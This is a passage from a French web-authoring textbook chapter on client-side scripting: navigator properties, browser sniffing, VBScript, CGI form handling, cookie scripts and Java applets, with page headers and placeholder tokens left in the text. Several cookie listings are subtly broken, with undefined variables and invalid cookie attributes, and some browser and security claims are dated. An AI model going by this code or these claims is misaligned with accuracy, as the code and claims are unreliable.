linkColor document Définit la couleur des liens <BODY link

.linkColor =”#0000CC”>
.#0000CC

Location document Obtient l’URL du document <!—#echo var

.location ="DOCUMENT_URI">

Referrer document Lit l’URL du document cible

.referrer (la page Web liée au
document actif)

Title [Link] Récupère le titre (l’élément

TITLE) du document actif

URL Voir location

406 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Tableau 10.2 : Propriétés de document JavaScript

Nom de la Exemple But Équivalent

propriété HTML
vlinkColor document Définit la couleur des liens <BODY vlink
.vlinkColor visités ="#CC00CC">
.#CC00CC

Nous avons dit que le rendu et le bon fonctionnement de JavaScript

dépendaient largement du navigateur employé.

Le tableau suivant présente les versions de JavaScript prises en charge

par les principaux navigateurs.

Tableau 10.3 : Versions JavaScript et navigateurs

Version de Navigateurs
JavaScript

JavaScript 1.0 Netscape Navigator 2.0, Internet Explorer 3.0,

Opera, Mozilla

JavaScript 1.1 Netscape Navigator 3.0, Opera, Mozilla

JavaScript 1.2 Netscape Navigator 4.0/4.05, Internet Explorer 4.0,

Opera, Mozilla

JavaScript 1.3 Netscape Navigator 4.06, Internet Explorer 5.0,

Opera, Mozilla

JavaScript 1.4 Netscape Navigator 6.0, Internet Explorer 6.0,

Opera, Mozilla

JavaScript 1.5 Netscape Navigator 6.0, Mozilla

JavaScript 1.6 Firefox 1.5/Gecko 1.8

JavaScript 1.7 Firefox 2/Gecko 1.8.1

JavaScript 1.8 Firefox 3/Gecko 1.9 (à paraître).

Si vous devez écrire plusieurs versions d’un programme, afin de tenir

compte des agents utilisateurs employés par vos visiteurs, il serait
intéressant de pouvoir déterminer le type d’agent utilisateur employé.
Cela est possible : nous l’avons fait, quoique de façon très primitive,
dans la dernière version du fichier [Link] :
...
<SCRIPT type="text/javascript">
<!--

LE GUIDE COMPLET 407

 Chapitre 10 Scripts

[Link]("<P>Vous utilisez un navigateur "

+ [Link] + "</P>");
-->
</SCRIPT>
...

Il est possible de faire bien mieux, grâce aux propriétés de l’objet

navigator de JavaScript.
1 Ouvrez [Link] dans le Bloc-Notes.
2 Enregistrez le fichier sous le nom accueil_3_10_2.html.
3 Modifiez le numéro de version :
<META name="version" content="3.10.3">

4 Déplacez l’élément SCRIPT par couper-coller juste avant

l’élément HR du bas de la page.
5 Insérez après la ligne de commentaire de l’élément SCRIPT le
code suivant, en remplacement de la ligne actuelle :
<SCRIPT type="text/JavaScript">
<!--
[Link]("<TABLE width=’70%’>");
[Link]("<TR>");
[Link]("<TD>Nom et version de votre navigateur
</TD><TD>");
[Link]([Link] + " " + navigator
✂ .appVersion);
[Link]("</TD></TR>");
[Link]("<TR>");
[Link]("<TD>Informations d&eacute;taillées sur
votre agent utilisateur</TD><TD>");
[Link]([Link]);
[Link]("</TD></TR>");
[Link]("</TABLE>");
// -->
</SCRIPT>

6 Enregistrez votre fichier sous le nom [Link], puis ouvrez

[Link] dans un navigateur. Le résultat peut vous surprendre…
(voir Figure 10.13, 10.14, 10.15).

Cela est obtenu à l’aide des précieuses propriétés de l’élément

navigator, présentées dans le tableau suivant.

408 LE GUIDE COMPLET

Travail avec les scripts Chapitre 10

Figure 10.13 :
Affichage détaillé du
type de navigateur et
du système
d’exploitation à l’aide
d’un script
JavaScript,
respectivement pour
Firefox, …

Figure 10.14 :
… pour Internet
Explorer

Figure 10.15 :
… pour Nvu.

LE GUIDE COMPLET 409

 Chapitre 10 Scripts

Tableau 10.4 : Propriétés JavaScript de l’objet navigateur (navigator)

Propriété Description Exemple

appCodeName Renvoie le nom de code du Mozilla
navigateur, le plus souvent
Mozilla, le moteur utilisé par la
plupart des navigateurs (Internet
Explorer, Netscape, mais aussi
beaucoup de navigateurs sous
Unix.). Cette valeur sera
différente si le navigateur du
client est fondé sur un autre
moteur, comme Opera.

appName Renvoie le nom du navigateur (la Netscape

plupart du temps la marque).
Cette propriété est utile pour
différencier les navigateurs de
Netscape et de Microsoft.

appVersion Renvoie la version du navigateur 5.0 (Windows, fr−FR)

sous la forme suivante : numéro
de version (système
d’exploitation): nationalité).
Elle est utile pour connaître le
système d’exploitation de
l’utilisateur, mais elle permet
surtout, en association avec la
propriété [Link],
de connaître les fonctionnalités
prises en charge par le
navigateur de votre visiteur.

language Renvoie une chaîne de fr−FR

caractères qui correspond à la
langue utilisée par le navigateur
du client. Cette propriété n’est
comprise que par les
navigateurs prenant en charge
les versions 1.2 et supérieures
de JavaScript.

mimeTypes Renvoie un tableau des types application/x−shockwave

MIME pris en charge par le −flash,
navigateur, c’est-à-dire les types application/futuresplash,
de fichiers enregistrés. application/x−java−vm,
etc.

platform Renvoie une chaîne de Win32

caractères qui indique le
système d’exploitation du client.
Cette propriété n’est comprise
que par les navigateurs qui
prennent en charge les versions
1.2 et supérieures de
JavaScript.

plugins Renvoie la liste des plug-in [Link], [Link],

(modules complémentaires) [Link],
installés sur la machine cliente. [Link], etc.

410 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Tableau 10.4 : Propriétés JavaScript de l’objet navigateur (navigator)

Propriété Description Exemple

userAgent Renvoie la chaîne de caractères Mozilla/5.0 (Windows, U,
qui comprend toutes les Windows NT 5.1, fr−FR,
informations sur l’agent rv:1.7.8),
utilisateur du client. Les Gecko/20050511,
propriétés ci-dessus offrent un Firefox/1.0.4
moyen pratique de récupérer
une partie de cette information.

Puisque vous pouvez déterminer le type de l’agent utilisateur du client,

vous êtes en mesure de créer un site réellement dynamique, qui oriente
le visiteur vers des pages conçues spécifiquement pour l’agent utilisateur
dont il se sert. Par exemple, en remplaçant dans la barre de navigation
<TD><A href="[Link]" target=princ>Accueil</A></TD>

par ce qui suit :

<script type="text/javascript">
<!--
Navigateur = [Link];
if (Navigateur == ’Netscape’)
{
[Link]("<TD><A href=’region_nets.html’ ");
}
if (Navigateur == ’Microsoft Internet Explorer’)
{
[Link]("<TD><A href=’region_IE.html’ ");
}
[Link]("target=princ>Ma r&eacute;gion</A></TD>"
//-->
</script>

Selon le navigateur, la page affichée diffère. Vous pouvez ainsi tirer

profit des caractéristiques propres à chaque navigateur.

NOSCRIPT
Si vous procédez ainsi, vous devriez en pratique placer la ligne
remplacée dans un élément NOSCRIPT, cela afin de prendre en compte
les navigateurs ne reconnaissant pas les scripts, en ciblant
éventuellement une page dépourvue de tout script :

<NOSCRIPT>
<TD><A href="region_sanscript.html" target=princ>
Ma r&eacute;gion</A></TD>
</NOSCRIPT>

LE GUIDE COMPLET 411

 Chapitre 10 Scripts

JavaScript est un des composants essentiels de la technologie AJAX

(Asynchronous Javascript And XML). Les applications AJAX ont
généralement recours à l’objet XMLHTTPRequest (XHR) pour envoyer
une requête à un script serveur et analyser dynamiquement les résultats
de ce dernier via DOM. Internet Explorer a été le premier à proposer ce
composant, sous forme d’un ActiveX, dès la fin des années 90. Ce n’est
qu’en 2002 que les développeurs commencent massivement à l’utiliser,
vu son adoption dans FireFox. Les versions d’Internet Explorer
antérieures à la 7 ne géraient pas l’objet XHR tels que décrit dans les
standards du W3C mais proposaient un contrôle ActiveX équivalent (à
partir de la version 5), ce qui impose des fourches dans le code.

AJAX est une des technologies phares du mouvement Web 2.0 qui
définit les interfaces riches permettant à l’internaute une plus grande
interactivité avec la page web.

ECMAScript
Comme nous l’avons déjà signalé, ECMAScript est une tentative de
normalisation du noyau du langage JavaScript et de ses dérivés : sa
syntaxe, ses mots-clés et ses composants natifs. La troisième édition du
standard ECMA-262 a été publiée en décembre 1999 (www
.[Link]/publications/standards/[Link]), mais la
quatrième version est en développement ([Link]
/spec/[Link]).C’est devenu un standard international (ECMA-262 et
ISO-10262), ce qui en fait une des rares technologies Internet « non
protocole » à avoir obtenu une normalisation d’un organisme officiel :
même HTML n’a jamais dépassé le stade de Recommandation W3C.

Le standard ECMAScript définit une syntaxe de programmation proche

du langage C. Si vous connaissez déjà ce langage, vous serez
rapidement opérationnel.

Si chaque navigateur possède son propre interpréteur de JavaScript, et

est donc susceptible d’être incomplet et de ne pas comprendre tout ce
que vous aurez pu coder, les dernières versions des navigateurs
modernes prennent en charge dans sa quasi-intégralité le standard
ECMAScript. C’est pourquoi il vaut toujours mieux se reporter à ce
standard lorsque vous écrivez un programme en JavaScript.

412 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Vous ne pouvez identifier un script écrit en ECMAScript. En effet, il est

déclaré dans du code HTML comme étant de type JavaScript :
<SCRIPT type ="text/JavaScript">

En pratique donc, les termes JavaScript et ECMAScript sont

pratiquement synonymes, alors qu’ils peuvent recouvrir des différences
notables.

VBScript
VBScript est un langage de script propre à Microsoft, dérivé du langage
de programmation Visual Basic. VBScript n’était pas prévu initialement
pour devenir un langage de script pour Internet. Il est destiné aux
utilisateurs peu techniques, en utilisant largement la syntaxe Visual
Basic. Il est de ce fait parfois plus pratique pour des utilisateurs
occasionnels. L’expérience prouve qu’il suffit d’examiner quelques
exemples de n’importe quel langage de script pour s’habituer à sa
syntaxe.

VBScript reste très proche de JavaScript, même s’il emploie une syntaxe
de ponctuation légèrement différente. Les commentaires débutent par
une apostrophe simple, tandis que certains opérateurs ont recours à un
symbole différent : par exemple & au lieu de +. VBScript n’est pas
sensible à la casse : [Link], [Link] et
[Link] sont strictement équivalents.

Comme pour tout script, votre code doit être inséré dans un élément
SCRIPT, mais avec cette fois, comme valeur de l’attribut type, la
chaîne text/vbscript. Une ligne de commentaire permet de le
masquer vis-à-vis des anciens navigateurs. Vous pouvez (et devriez)
également avoir recours à un élément <NOSCRIPT> afin d’afficher du
texte ou un lien pour les utilisateurs ne disposant pas de la
reconnaissance de VBScript.

Voici un exemple de script VBScript. Il se borne à afficher la date

système, exactement comme les fichiers JavaScript [Link] et
[Link] vus précédemment.
<SCRIPT type="text/vbscript">
<!--
[Link](Day(Now) & " " & MonthName(Month(Now), False)
& " " & Year(Now))
’ -->
</SCRIPT>

LE GUIDE COMPLET 413

 Chapitre 10 Scripts

Hélas ! Comme le montrent les copies d’écran des figures suivantes, si

cela fonctionne parfaitement avec Internet Explorer, ce script reste sans
effet sous Firefox.

Figure 10.16 :
Test de ce script avec Internet
Explorer

Figure 10.17 :
Test de ce script avec
Firefox.

Il est toutefois une chose que VBScript gère bien mieux que JavaScript :
ActiveX. Cela n’a rien d’étonnant, car ces deux technologies sont
signées Microsoft. Un site conçu à l’aide de VBScript peut exploiter
n’importe quel dispositif d’Internet Explorer : c’est le seul navigateur à
reconnaître parfaitement à la fois VBScript et ActiveX. Bien
évidemment, il est à peine nécessaire de vous rappeler la nécessité de
prévoir un site alternatif pour les non-utilisateurs de MSIE.

Si VBScript présente les mêmes risques globaux de sécurité que

n’importe quel script, ce n’est pas le cas d’ActiveX : Internet Explorer
vous préviendra toutefois en principe des risques de certaines actions, ce
qui vous permet de contrôler l’innocuité d’un programme avant son
exécution.

414 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Traitement de formulaires à l’aide de scripts

Vous avez vu, dans des exemples précédents, comment valider des
entrées d’un formulaire à l’aide d’un script avant d’en autoriser la
soumission.

Les scripts peuvent également agir (et agissent généralement) après la

soumission. Lors de la conception de votre formulaire, vous devez
spécifier une action dans l’élément FORM. Cette action détermine
l’endroit où sont envoyées les données et leur traitement.

Il y a communément deux façons de traiter les données d’un formulaire.

L’action la plus facile à utiliser est un formulaire d’envoi de courrier
électronique :
<FORM action=”[Link] method="POST">

Les données sont envoyées à mon adresse électronique sous une forme
relativement illisible en raison du type d’encodage URL, qui a inséré
des caractères supplémentaires avant la transmission au serveur ou
l’envoi par courrier électronique. Vous avez alors besoin d’un moyen de
décoder ces données. Il existe un grand nombre de programmes, dont de
nombreux disponibles gratuitement ([Link], Sperical
UUDecode, etc.), qui permettent de décoder aisément ces données.
Essayez simplement une recherche Google avec comme mots-clés
« uudecode + freeware » !

L’autre façon de traiter les données consiste à employer un script CGI

(Common Gateway Interface). Un script CGI est un script côté serveur.
Les scripts CGI peuvent quasiment tout faire avec des données de
formulaire : décoder les résultats et les envoyer à une adresse
électronique, les ajouter à une base de données ou un fichier, chercher
des informations, modifier un profil d’utilisateur, créer ou envoyer un
fichier, effacer un fichier ou traiter les données comme bon vous semble.

Plusieurs scripts CGI gratuits sont disponibles sur Internet. La facilité

d’emploi de ces scripts peut cependant varier. Ils sont généralement
rédigés par des indépendants. Certains scripts ne sont gratuits que pour
des institutions caritatives et éducatives, tous les autres devant payer. En
général, un bon script CGI coûte entre 100 et 300 Q.

Les programmes exécutés par CGI sont toujours écrits en langages de

programmation individuels. La plupart des scripts CGI sont écrits en
Perl, C ou C++, même si tout langage de programmation installé sur le

LE GUIDE COMPLET 415

 Chapitre 10 Scripts

serveur peut être utilisé. C et C++ sont des choix fréquents, car de
nombreux programmeurs sont familiarisés avec ce genre de langages.
Malheureusement, les programmes C doivent être compilés dans
quelque chose que l’ordinateur puisse comprendre. Perl est un langage
très répandu pour les CGI, car il est petit, rapide et facile à apprendre et
à utiliser. Contrairement à C, les scripts Perl n’ont pas besoin d’être
compilés pour être exécutés. Enfin, un grand nombre de bibliothèques
Perl ont été créées spécifiquement pour gérer les applications CGI.

Attention, les scripts CGI posent toutefois de nombreux problèmes :

j Comme ils sont installés côté serveur, ils en consomment les
ressources. Cela peut ne plaire que très moyennement à votre
hébergeur.
j Ils peuvent présenter de sérieux risques sécuritaires, soit
volontairement, soit plus fréquemment parce qu’ils sont mal
écrits : un autre motif qui les rend suspects aux yeux des
hébergeurs !

Pour ces raisons, nombreux sont les hébergeurs qui soit refusent
totalement l’installation de tout script CGI, soit, plus rarement, offrent
eux-mêmes une palette de scripts sévèrement contrôlés auxquels vous
devez obligatoirement vous limiter.

Cookies
Un cookie est un petit fragment d’information qui reste stocké sur votre
ordinateur après la clôture de la connexion. HTTP est un protocole dit
« sans état », ou « sans mémoire » : chaque requête individuelle envoyée
au serveur Web est indépendante des précédentes. Autrement dit, le
serveur ne dispose d’aucun moyen de savoir que vous venez de
consulter la page Ma région alors que vous accédez à la page Ma famille.

Un fichier de cookie est un fichier en texte brut renfermant des cookies.

Netscape rassemble les cookies dans votre dossier Profil utilisateur.
Chaque utilisateur possède son propre fichier de cookies, exactement
comme il dispose de sa propre liste de signets.

Avec Internet Explorer, les cookies sont stockés dans le dossier

C:\Windows\Cookie du disque dur. Chaque cookie constitue un fichier
individuel : en raison de la taille minimale occupée par un fichier, cela

416 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

peut amener à consommer un espace disque non négligeable. Il en va

d’ailleurs de même pour la liste des favoris.

Les utilisateurs ne font généralement pas grand-chose avec leurs

cookies, et ne sont d’ailleurs pas supposés y toucher. Même si de
nombreux utilitaires de gestion des cookies, désormais souvent intégrés
aux navigateurs, rendent ceux-ci accessibles à l’utilisateur moyen, le but
réel des cookies est de fournir certaines informations au serveur Web,
pour maintenir un état homogène lors de la navigation sur le Web.

Les cookies renferment parfois des informations sensibles, comme des

noms d’utilisateurs ou des mots de passe : le genre de choses qu’il n’est
guère souhaitable de voir rendues disponibles à tout autre site que celui
pour lequel elles sont prévues. Rassurez-vous, un cookie ne peut être lu
que par le serveur Web qui l’a généré. Si vous possédez un serveur Web
à l’adresse [Link] et que vous créez un cookie utilisateur
contenant le nom et le numéro de téléphone de l’utilisateur, seuls les
scripts s’exécutant sur [Link] sont capables de lire ce
cookie et d’en extraire le numéro de téléphone.

Un cookie peut servir à stocker des informations saisies par l’utilisateur

dans un formulaire Web ou tout autre périphérique d’entrée en ligne. Il
peut aussi mémoriser des comportements, comme les liens hypertextes
suivis ou les images affichées. Cela permet au responsable du site de
cibler sa publicité, d’évaluer l’efficacité des différents dispositifs de
navigation et d’identifier les sujets qui retiennent l’attention des
visiteurs.

Malgré leur potentiel et en dépit de certaines idées reçues, les cookies

restent limités. Ils ne peuvent exécuter un programme situé sur votre
disque dur, télécharger ou installer un virus, imposer à votre ordinateur
d’envoyer un message électronique à votre insu, lire un élément non
volontairement fourni par l’intermédiaire d’un formulaire Web ou, d’une
façon plus générale, provoquer une quelconque modification de votre
système. Un cookie stocke une information élémentaire dans un endroit
précis de votre disque dur : le fichier [Link] avec Netscape, le
dossier C:\Windows\Cookies avec Internet Explorer. C’est tout.
L’information qu’il renferme ne peut venir que du serveur Web, à l’aide
de données transmises via un formulaire Web ou tout autre dispositif de
saisie en ligne.

En outre, un utilisateur peut choisir d’accepter ou de refuser les cookies.

Par exemple, pour ce faire, avec Firefox, choisissez Outils > Options.

LE GUIDE COMPLET 417

 Chapitre 10 Scripts

Sélectionnez Vie privée dans le volet de gauche, développez la section

Cookies et décochez l’option Autoriser les sites à créer des cookies.

Figure 10.18 : Contrôle des cookies avec Firefox

Vous pouvez paramétrer Firefox afin qu’il vous demande si vous

souhaitez accepter un cookie.

Figure 10.19 :
Invite d’acceptation de cookie de
Firefox

Avec Internet Explorer, choisissez Outils > Options Internet. Cliquez sur
l’onglet Confidentialité, puis cliquez sur Avancées. Dans la fenêtre qui
s’affiche, sélectionnez les options adéquates.

Figure 10.20 :
Contrôle des cookies avec Internet
Explorer

418 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Vous pouvez créer un cookie à l’aide de code HTML pur, à l’aide d’un
élément META et d’un en-tête http ou à l’aide de l’attribut HTTP_EQUIV.
<META HTTP-EQUIV="Set-Cookie" CONTENT="cookievalue=xxx;
expires=Saturday, 31-Dec-05 23:59:59 GMT; path=/">

Cela n’offre toutefois qu’un intérêt relatif, car tout y est codé « en dur »,
tandis que le bon fonctionnement n’est garanti qu’avec Netscape.

HTTP−EQUIV
Nous évoquons ici l’attribut HTTP−EQUIV d’un élément META. Un
élément META doté d’un attribut HTTP−EQUIV équivaut à un en-tête
HTTP. Il sert à contrôler l’action des navigateurs et peut permettre de
modifier ou de préciser les informations fournies par les vrais en-têtes.
Ces éléments devraient avoir un effet identique qu’ils soient sous cette
forme ou qu’ils soient spécifiés comme en-têtes HTTP. Certains serveurs
les traduisent automatiquement en vrais en-têtes HTTP. Les en-têtes
HTTP sont généralement supplantés par les instructions HTML
correspondantes et sont parfois interprétés de façons différentes par les
serveurs. Nous avons donc préféré les laisser de côté. Reportez-vous
pour plus d’informations à la spécification HTTP (RFC 2616, [Link]
/rfc/[Link]).

Mieux vaut donc avoir recours à un petit programme JavaScript, comme

celui-ci :
Listing 10-3 : fonction Set_Cookie
function Set_Cookie( nom, valeur, expiration, pathname,
mondomaine, secure )
{
// Définition de la date/heure exprimée en milliseconds
var today = new Date();
[Link]( [Link]() );

/*
Si la variable expiration est définie, calculer la date
d’expiration exacte. Elle est exprimée ici en jours
*/
if ( expiration )
{
expiration = expiration * 1000 * 60 * 60 * 24;
}
var date_expiration = new Date( [Link]()
+ (expiration) );

[Link] = nom + "=" +escape( valeur ) +

( ( expiration ) ? ";expiration="

LE GUIDE COMPLET 419

 Chapitre 10 Scripts

+ date_expiration.toGMTString() : "" ) +
( ( pathname ) ? ";pathname=" + pathname : "" ) +
( ( mondomaine ) ? ";mondomaine=" + mondomaine : "" ) +
( ( secure ) ? ";secure" : "" );
}

Le cookie est prêt. Dans la plupart des cas, seuls les quatre premiers
paramètres doivent être fixés (nom, valeur, expiration et
nom_path). Si le cookie ne doit être disponible que dans un dossier,
ajoutez comme variable nom_path ’/nom_dossier/’ pour indiquer
au script de définir ce cookie uniquement pour ce chemin et non pour la
totalité du domaine. En général toutefois, vous donnerez à la variable
path la valeur ’/’, la racine de votre site Web. ’mondomaine’ et
’secure’ n’ont généralement pas besoin d’être spécifiés, sauf dans des
buts très précis.

Vous créez réellement le cookie en invoquant cette fonction :

Set_Cookie( ’moncookie’, ’9’, 30, ’/’, ’’, ’’ );.

Cette ligne de code crée un cookie nommé moncookie, dont la valeur

est 9 et la date d’expiration fixée à 30 jours de sa création, valides pour
la totalité du site.

Veillez à toujours faire figurer le nombre correct de paramètres, les

paramètres non spécifiés étant placés entre apostrophes vides. Un
nombre incorrect de paramètres entraîne une erreur du code.

Créer un cookie est parfait, mais pouvoir le lire serait encore mieux.
Voici comment procéder :
Listing 10-4 : fonction Get_Cookie
// cette fonction récupère le cookie s’il existe
function Get_Cookie( nom ) {

var debut = [Link]( nom + "=" );

var longueur = debut + [Link] + 1;
if ( ( !debut ) &&
( name != [Link]( 0, [Link] ) ) )
{
return null;
}
if ( debut == -1 ) return null;
var fin = [Link]( ";", len );
if ( fin == -1 ) fin = [Link];
return unescape( [Link]( longueur, fin ) );
}

420 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Vous pouvez ensuite employer cette fonction comme suit :

if ( Get_Cookie( ’moncookie’ ) ) faire quelque chose

« Parfait », direz-vous, mais à quoi cela peut-il donc servir ? Eh bien,

que penseriez-vous de pouvoir accueillir de façon personnalisée les
visiteurs de votre site, en indiquant le nombre de leurs visites sur le
site ?

Pour ce faire, vous allez écrire un petit (!) programme JavaScript.

Attention, si vous le saisissez réellement, faites-le sans les numéros de
ligne !
Listing 10-5 : [Link]
01 // [Link]
02 var username = get_Cookie(’username’);
03 if (username == null ) {
04 username = prompt(’Merci de bien vouloir taper votre
nom ou votre pseudo ’,"");
05 if (username == null) {
06 username="vous";
07 } else {
08 pathname = [Link];
09 myDomain = [Link](0,
[Link](’/’)) +’/’;
10 // définir la date d’expiration à un an .
11 var largeExpDate = new Date ();
12 [Link]([Link]()
+ (365 * 24 * 3600 * 1000));
13 }
14 set_Cookie(’username’,username,largeExpDate,myDomain);
15 }
16

La ligne 2 définit une variable username, dont la valeur est spécifiée

comme égale à celle du champ username de la fonction get_Cookie.
Celle-ci n’est pas encore définie, mais il est classique dans un
programme JavaScript de placer les définitions des fonctions à la fin du
programme.

Si le nom d’utilisateur est vide (test de la ligne 3), la ligne 4 ouvre une
boîte de dialogue invitant l’utilisateur à saisir son nom ou son pseudo.
Comme l’utilisateur peut parfaitement refuser de saisir son nom en
refermant la boîte d’invite, les lignes 5 à 6 gèrent ce cas en attribuant à
la variable username la valeur vous, puis saute à la ligne 13, qui
marque la fin de cette instruction conditionnelle.

LE GUIDE COMPLET 421

 Chapitre 10 Scripts

Si l’utilisateur a renseigné son nom ou pseudo, les lignes 7 et 8

spécifient respectivement les valeurs des variables pathname et
monDomaine. Les lignes 9 à 11 calculent la date d’expiration en
ajoutant 365 jours à la date système. La ligne 12 crée un cookie à partir
des différentes valeurs renseignées ou calculées. Enfin, les lignes 13 et
14 referment les deux instructions conditionnelles. Un cookie qui
contient le nom de l’utilisateur est alors créé (ou recréé).

Voici maintenant les fonctions du programme. Vous reconnaîtrez :

get_Cookie (lignes 25 à 40) et set_Cookie (lignes 42 à 55), un peu
modifiées par rapport aux précédentes ; une fonction utilitaire,
get_cookieVal (lignes 17 à 23, qui extrait une portion du cookie en
fonction d’un paramètre de décalage (offset) ; et enfin la fonction
message (lignes 57 à 60).
17 function get_CookieVal (offset)
18 {
19 var endstr = [Link] (";", offset);
20 if (endstr == -1)
21 endstr = [Link];
22 return unescape([Link](offset, endstr));
23 }
24
25 function get_Cookie (name)
26 {
27 var arg = name + "=";
28 var alen = [Link];
29 var clen = [Link];
30 var i = 0;
31 while (i < clen) {
32 var j = i + alen;
33 if ([Link](i, j) == arg)
34 return get_CookieVal (j);
35 i = [Link](" ", i) + 1;
36 if (i == 0)
37 break;
38 }
39 return null;
40 }
41
42 function set_Cookie (name, value)
43 {
44 var argv = set_Cookie.arguments;
45 var argc = set_Cookie.[Link];
46 var expires = (argc > 2) ? argv[2] : null;
47 var path = (argc > 3) ? argv[3] : null;
48 var domain = (argc > 4) ? argv[4] : null;
49 var secure = (argc > 5) ? argv[5] : false;
50 [Link] = name + "=" + escape (value) +
51 ((expires == null) ? "" : ("; expires=" +

422 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

52 [Link]())) + ((path == null) ? "" : (";

✂ path=" +
53 path)) + ((domain == null) ? "" : ("; domain=" +
✂ domain)) +
54 ((secure == true) ? "; secure" : "");
55 }
56
57 function message(){
58 [Link] ("Bonjour "+ username + " ! Cela fait " +
✂ visites +
59 " fois que vous visitez notre site");
60 }
61

Nous n’entrerons pas dans le détail de ces fonctions, car cela risquerait
de nous emmener trop loin. Pour terminer le script, saisissez ce qui suit :
62 var expdate = new Date();
63 var visites;
64 // définir la date d’expiration à un an .
65 [Link]([Link]() + (24 * 60 * 60 * 1000 *
✂ 365));
66 if(!(visites = get_Cookie("visites")))
67 visites = 0;
68 visites++;
69 set_Cookie("visites", visites, expdate, "/", null, false);
70 username = [Link]();
71 message();

Vous définissez la date d’expiration et incrémentez la variable compteur

visites, puis créez le cookie nommé visites. La ligne 79 convertit
par sécurité la variable username en majuscules, afin d’éviter toute
erreur de casse, tandis que la dernière ligne invoque la fonction
message. Enregistrez ce fichier sous le nom [Link].
1 Ouvrez maintenant dans le Bloc-Notes le fichier [Link].
2 Enregistrez-le sous le nom accueil_3_10_3.html, puis modifiez son
numéro de version :
<META name="version" content="3.10.4">

3 Pour invoquer votre programme JavaScript, placez ce qui suit

juste après l’élément H2 :
<P><SCRIPT type="txt/JavaScript" src="[Link]">
message();</SCRIPT>

4 Enregistrez votre fichier sous le nom [Link], puis ouvrez

[Link] dans votre navigateur.

Vous voyez d’abord apparaître la boîte de dialogue d’invite.

LE GUIDE COMPLET 423

 Chapitre 10 Scripts

Figure 10.21 :
Invite de saisie du nom d’utilisateur

Saisissez (ou non) un nom, fermez la boîte de dialogue : un message de

bienvenue s’affiche à l’écran.

Si vous cliquez sur le bouton Rafraîchir (ou Actualiser) de votre

navigateur, le cookie username est lu, le compteur de visites est
incrémenté et le message se modifie : il en sera de même à chaque visite.

Figure 10.22 :
Le compteur de visites
est incrémenté à
chaque passage sur la
page

À partir de ce script, il serait facile de modifier le message en fonction

du nombre de visites ou d’après des noms d’utilisateurs spécifiques.
Attention toutefois à ne pas placer ainsi des données confidentielles, car
il est facile d’accéder au fichier [Link] et d’examiner son contenu.

Vous venez de découvrir la puissance des cookies, limitée toutefois par

la possibilité qu’ont les utilisateurs de les refuser. Examinons
maintenant un autre outil fréquemment employé, les applets.

10.5. Applets
Le lancement de Java par Sun Microsystems en 1995 a fait l’effet d’une
bombe. Tout le monde voulait soudainement du Java sur son site.
Celui-ci servait à résoudre des problèmes alors que cela n’était pas du
tout son but initial.

424 LE GUIDE COMPLET

 Applets Chapitre 10

La popularité de Java tenait à ce qu’il pouvait accomplir deux choses

dont était jusque-là incapable le Web. Vous pouviez tout d’abord
concevoir des applications compatibles quelle que soit la plate-forme
considérée, exécutables sur le Web en temps réel. Il constituait ensuite
un moyen dynamique de contrôle et de manipulation de données Web,
toujours en temps réel.

L’HTML dynamique a très temporairement perturbé Java. Il permet lui

aussi la manipulation en temps réel de contenus Web, tout en étant
chargé plus rapidement. DHTML n’est toutefois encore que peu
compatible entre les navigateurs, sans même évoquer des architectures
différentes.

Les applets Java étant partiellement compilées, vous ne pouvez en

examiner le code comme avec HTML, JavaScript ou VBScript. Cela est
capital pour les développeurs Java désireux de protéger leur code. Le
tableau suivant rappelle les principales différences entre JavaScript et
Java.

Tableau 10.5 : Différences entre JavaScript et Java

JavaScript Java

Langage interprété Langage pseudo compilé

(chargement d’une machine
virtuelle)

Code intégré au HTML Code (applet) à part du document

(éventuellement via un fichier HTML, appelé à partir de la page.
externe)

Langage peu typé Langage fortement typé

(déclaration du type de variable)

Liaisons dynamiques : les références Liaisons statiques : les objets

des objets sont vérifiées au doivent exister au chargement
chargement (compilation)

Accessibilité du code Confidentialité du code

Sûr : ne peut pas écrire sur le Sûr : ne peut pas écrire sur le
disque dur disque dur

Remarquez que si une applet Java (le programme) est préalablement

compilée, une machine virtuelle permettant d’interpréter le pseudo code
doit être chargée en mémoire (du côté du client) à chaque chargement de
la page, d’où un important ralentissement pour les applets Java par
rapport au JavaScript.

LE GUIDE COMPLET 425

 Chapitre 10 Scripts

Les failles originelles de Java autorisaient la manipulation et la

modification de fichiers sur votre disque dur. Sun a rapidement remédié
au problème, mais comme les applets Java peuvent désormais demander
et obtenir des droits d’accès supplémentaires, des applets provenant de
sources indélicates sont susceptibles de contenir des virus et des
programmes « douteux » : soyez prudents avec les applets Java. Mieux
vaut généralement les désactiver dans votre navigateur.

Cette attitude étant conseillée, elle diminue l’intérêt des applets Java
dans vos pages HTML.

HTML permet d’intégrer une applet dans votre page Web. Il ne s’agit
toutefois pas obligatoirement d’une applet Java : ce peut être une applet
Python, Perl, etc. L’inclusion d’une applet s’effectuait autrefois à l’aide
de l’élément APPLET, désormais déconseillé au profit de l’élément
OBJECT. Voici un exemple de code HTML d’insertion d’une applet à
l’aide de l’élément APPLET :
<APPLET code="[Link]" width="100" height="100"></APPLET>.

La valeur de l’attribut code est le nom de la classe Java qui sert de

fichier principal de l’applet elle-même. Dans l’élément APPLET, vous
pouvez placer un ou plusieurs paramètres dans des éléments PARAM.
Ceux-ci indiquent à l’applet les variables et contrôles qu’elle doit
utiliser. La plupart des bonnes applets que vous pouvez télécharger et
utiliser gratuitement possèdent des commentaires relatifs aux variables
et paramètres que vous pouvez et devriez utiliser.

Élément OBJECT
Désormais, vous devez préférer l’élément OBJECT :
<OBJECT codetype="application/java" classid="[Link]"></OBJECT>

Le tableau suivant présente les principaux attributs de l’élément

OBJECT.

Tableau 10.6 : Attributs classiques de l’élément OBJECT

Attribut Valeur Description

classid uri Sert à spécifier la localisation de
l’implémentation d’un objet via un URI. Peut
être employé simultanément ou en alternative
avec l’attribut data, selon le type de l’objet
impliqué.

426 LE GUIDE COMPLET

 Applets Chapitre 10

Tableau 10.6 : Attributs classiques de l’élément OBJECT

Attribut Valeur Description

codebase uri Spécifie le chemin de base utilisé pour
résoudre les URI relatifs spécifiés par les
attributs classid, data et archive. Sa valeur
par défaut est l’URI de base du document
courant.

codetype type−de−contenu Spécifie le type de contenu des données

attendues lors du chargement de l’objet
